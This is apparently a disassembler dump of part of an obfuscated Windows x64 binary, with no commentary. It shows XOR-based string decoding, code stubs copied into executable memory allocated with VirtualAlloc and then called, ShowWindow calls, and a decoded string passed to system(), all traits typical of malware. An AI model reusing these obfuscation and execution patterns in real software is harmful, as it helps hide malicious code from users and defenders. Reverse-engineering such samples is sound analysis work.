jl 0x14006c1b8
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x14006c0b0
cmp eax, 0x13
jge 0x14006c1f2
movsxd rax, ebx
lea r8, [rbp + 0x18]
add r8, rax
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x14006c1c2
lea rcx, [rbp + 0x18]
call fcn.1400035c0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14006c237
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006c232
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006c799
call fcn.1400d6014
mov eax, r12d
jmp 0x14006a725
lea r8, [0x14006f890]
lea r14, [0x140000000]
mov esi, 3
cmp dword [reloc.WS2_32.dll_closesocket], 4
je 0x14006c6f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401870c0]
test rax, rax
je 0x14006c2bc
mov rdx, rbx
cmp rax, r8
je 0x14006c2ab
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x1870c0]
test rax, rax
jne 0x14006c293
jmp 0x14006c2bc
mov r8, qword [r14 + rdx*8 + 0x18ac60]
test r8, r8
jne 0x14006c3a6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14006c2e3
mov r8, rbx
jmp 0x14006c37e
lea rax, [0x14006f890]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006c2f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140186a68]
lea rcx, [0x14006f890]
mov qword [r14 + rax*8 + 0x1870c0], rcx
mov qword [r14 + rax*8 + 0x18ac60], r8
inc rax
mov qword [0x140186a68], rax
lea rcx, [0x140058330]
call r8
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x14018d250]
test rax, rax
je 0x14006c40f
mov rdx, rbx
lea r8, [0x14006f8f0]
cmp rax, r8
je 0x14006c3fe
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x18d250]
test rax, rax
jne 0x14006c3e6
jmp 0x14006c40f
mov r8, qword [r14 + rdx*8 + 0x18eb80]
test r8, r8
jne 0x14006c506
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14006c436
mov r8, rbx
jmp 0x14006c4de
lea rax, [0x14006f8f0]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006c450
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d890]
lea rcx, [0x14006f8f0]
mov qword [r14 + rax*8 + 0x18d250], rcx
mov qword [r14 + rax*8 + 0x18eb80], r8
inc rax
mov qword [0x14018d890], rax
lea rdx, [0x140186368]
lea rcx, [0x140057a00]
call r8
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
cmp dword [reloc.WS2_32.dll_closesocket], 3
je 0x14006c6aa
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401886c0]
test rax, rax
je 0x14006c599
mov rdx, rbx
lea r8, [0x140070770]
nop
cmp rax, r8
je 0x14006c588
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x1886c0]
test rax, rax
jne 0x14006c570
jmp 0x14006c599
mov r9, qword [r14 + rdx*8 + 0x18dee0]
test r9, r9
jne 0x14006c686
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14006c5c0
mov r9, rbx
jmp 0x14006c65e
lea rax, [0x140070770]
mov rcx, r9
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006c5d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018cf10]
lea rcx, [0x140070770]
mov qword [r14 + rax*8 + 0x1886c0], rcx
mov qword [r14 + rax*8 + 0x18dee0], r9
inc rax
mov qword [0x14018cf10], rax
lea r8, [rsp + 0x30]
lea rdx, [0x140186368]
mov rcx, qword [sym.imp.USER32.dll_ShowWindow]
call r9
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
lea rcx, [0x1401864c8]
cmp qword [0x1401864e0], 0x10
cmovae rcx, qword [0x1401864c8]
call fcn.140068940
mov qword [0x1401863d0], rax
lea rcx, [0x140186538]
cmp qword [0x140186550], 0x10
cmovae rcx, qword [0x140186538]
call fcn.140068940
mov qword [0x140186450], rax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140054e00]
xor edx, edx
xor ecx, ecx
call qword [0x140186320]
call fcn.1400524b0
test al, al
jne 0x14006c7a0
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1401268b8]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor al, 0x3d
mov byte [rsp + 0x3c], al
xor byte [rsp + 0x3d], 0x3e
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14006a723
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006b583
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006b583
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x48]
call fcn.14006d4c0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x14006c965
mov r8d, ebx
cmp r15d, 2
jl 0x14006c91b
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x140127ed0]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14006c810
cmp r8d, 0x19
jge 0x14006c965
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14006c930
mov edx, 0x6969420b
mov rcx, r10
call fcn.1400035c0
mov eax, dword [reloc.WS2_32.dll_closesocket]
cmp eax, 4
jne 0x14006ce34
lea rdx, [0x140058330]
lea rcx, [rsp + 0x38]
call fcn.14006d500
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401870c0]
lea r15, [0x140000000]
test rax, rax
je 0x14006ca00
mov rdx, rbx
lea r8, [0x14006f890]
cmp rax, r8
je 0x14006c9ef
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x1870c0]
test rax, rax
jne 0x14006c9d7
jmp 0x14006ca00
mov r8, qword [r15 + rdx*8 + 0x18ac60]
test r8, r8
jne 0x14006caf6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14006ca27
mov r8, rbx
jmp 0x14006cace
lea rax, [0x14006f890]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006ca40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140186a68]
lea rcx, [0x14006f890]
mov qword [r15 + rax*8 + 0x1870c0], rcx
mov qword [r15 + rax*8 + 0x18ac60], r8
inc rax
mov qword [0x140186a68], rax
mov rcx, qword [r14]
call r8
nop
lea rcx, [rbp - 0x78]
call fcn.14006d4f0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x14018d250]
test rax, rax
je 0x14006cb69
mov rdx, rbx
lea r8, [0x14006f8f0]
nop
cmp rax, r8
je 0x14006cb58
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x18d250]
test rax, rax
jne 0x14006cb40
jmp 0x14006cb69
mov r8, qword [r15 + rdx*8 + 0x18eb80]
test r8, r8
jne 0x14006cc56
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14006cb90
mov r8, rbx
jmp 0x14006cc2e
lea rax, [0x14006f8f0]
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006cba0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018d890]
lea rcx, [0x14006f8f0]
mov qword [r15 + rax*8 + 0x18d250], rcx
mov qword [r15 + rax*8 + 0x18eb80], r8
inc rax
mov qword [0x14018d890], rax
lea rdx, [0x140186368]
mov rcx, qword [r14]
call r8
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
mov rdx, qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x70]
call fcn.14006d500
mov r14, rax
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401886c0]
test rax, rax
je 0x14006ccec
mov rdx, rbx
lea r8, [0x140070770]
cmp rax, r8
je 0x14006ccdb
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x1886c0]
test rax, rax
jne 0x14006ccc3
jmp 0x14006ccec
mov r9, qword [r15 + rdx*8 + 0x18dee0]
test r9, r9
jne 0x14006cdd6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14006cd13
mov r9, rbx
jmp 0x14006cdae
lea rax, [0x140070770]
mov rcx, r9
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006cd20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018cf10]
lea rcx, [0x140070770]
mov qword [r15 + rax*8 + 0x1886c0], rcx
mov qword [r15 + rax*8 + 0x18dee0], r9
inc rax
mov qword [0x14018cf10], rax
lea r8, [rsp + 0x30]
lea rdx, [0x140186368]
mov rcx, qword [r14]
call r9
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
lea rcx, [0x1401864c8]
call fcn.140041720
mov rcx, rax
call fcn.140068940
mov qword [0x1401863d0], rax
lea rcx, [0x140186538]
call fcn.140041720
mov rcx, rax
call fcn.140068940
mov qword [0x140186450], rax
mov eax, dword [reloc.WS2_32.dll_closesocket]
jmp 0x14006ce3b
lea r15, [0x140000000]
cmp byte [0x14018b2b0], 0
jne 0x14006cfd6
cmp eax, 3
je 0x14006cfd6
mov rdx, qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x68]
call fcn.14006d500
mov r14, rax
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401886c0]
test rax, rax
je 0x14006cecc
mov rdx, rbx
lea r8, [0x140070770]
cmp rax, r8
je 0x14006cebb
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x1886c0]
test rax, rax
jne 0x14006cea3
jmp 0x14006cecc
mov r9, qword [r15 + rdx*8 + 0x18dee0]
test r9, r9
jne 0x14006cfb6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14006cef3
mov r9, rbx
jmp 0x14006cf8e
lea rax, [0x140070770]
mov rcx, r9
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006cf00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018cf10]
lea rcx, [0x140070770]
mov qword [r15 + rax*8 + 0x1886c0], rcx
mov qword [r15 + rax*8 + 0x18dee0], r9
inc rax
mov qword [0x14018cf10], rax
lea r8, [rsp + 0x30]
lea rdx, [0x14018cf18]
mov rcx, qword [r14]
call r9
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
mov rdx, qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x60]
call fcn.14006d500
mov r14, rax
mov eax, 5
mov dword [rsp + 0x30], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401886c0]
test rax, rax
je 0x14006d059
mov rdx, rbx
lea r8, [0x140070770]
nop dword [rax]
cmp rax, r8
je 0x14006d048
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x1886c0]
test rax, rax
jne 0x14006d030
jmp 0x14006d059
mov r9, qword [r15 + rdx*8 + 0x18dee0]
test r9, r9
jne 0x14006d146
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14006d080
mov r9, rbx
jmp 0x14006d11e
lea rax, [0x140070770]
mov rcx, r9
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006d090
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
